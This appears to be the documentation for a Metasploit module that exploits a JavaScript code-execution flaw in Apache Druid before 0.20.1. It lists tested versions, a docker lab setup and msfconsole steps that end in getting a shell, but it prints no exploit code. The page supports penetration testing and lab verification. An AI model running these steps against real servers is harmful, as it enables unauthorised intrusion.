Vulnerable Application

Apache Druid versions prior to v0.20.1

Description

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests; however, that feature is disabled by default.

In Druid versions prior to 0.20.1, an authenticated user can send a specially-crafted request that both enables the JavaScript code-execution feature and executes the supplied code all at once, allowing for code execution on the server with the privileges of the Druid Server process. More critically, authentication is not enabled in Apache Druid by default.

It has been fixed in Apache Druid 0.20.1

This module has been tested successfully against bebelow:

Apache Druid 0.15.1 Debian 9.11 (Linux 3.10.0-957.21.3.el7.x86_64)

Apache Druid 0.16.0-iap8 Ubuntu 16.04 (Linux 3.10.0-957.27.2.el7.x86_64)

Apache Druid 0.17.1 CentOS 8.2.2004 (Core) (Linux 4.18.0-193.28.1.el8_2.x86_64)

Apache Druid 0.18.0-iap3 Debian 9.12 (Linux 4.19.0-0.bpo.8-amd64)

Apache Druid 0.19.0-iap7 Ubuntu 18.04 (Linux 4.14.193-149.317.amzn2.x86_64)

Apache Druid 0.20.0-iap4.1 Ubuntu 18.04 (Linux 4.19.112+)

Apache Druid 0.21.0-iap3 CentOS 7.9.2009 (Linux 3.10.0-1160.15.2.el7.x86_64)

Setup

Just use docker,but any other version you need to find by yourself

docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

Verification Steps

1. Install the application
2. Start msfconsole
3. Do: use exploit/linux/http/apache_druid_js_rce
4. Do: set rhosts <ip>
5. Do: set lhost <ip>
6. Do: set lport/srvport <ip> if necessary
7. Do: run
8. You should get a shell.

Targets

0 (Linux Dropper)

This uses a Linux dropper to execute code.

1 (Unix Command)

This executes a Unix command.

Options

CHECKCMD

You can set a customize command to check and get command exec result respond. Default is "id"
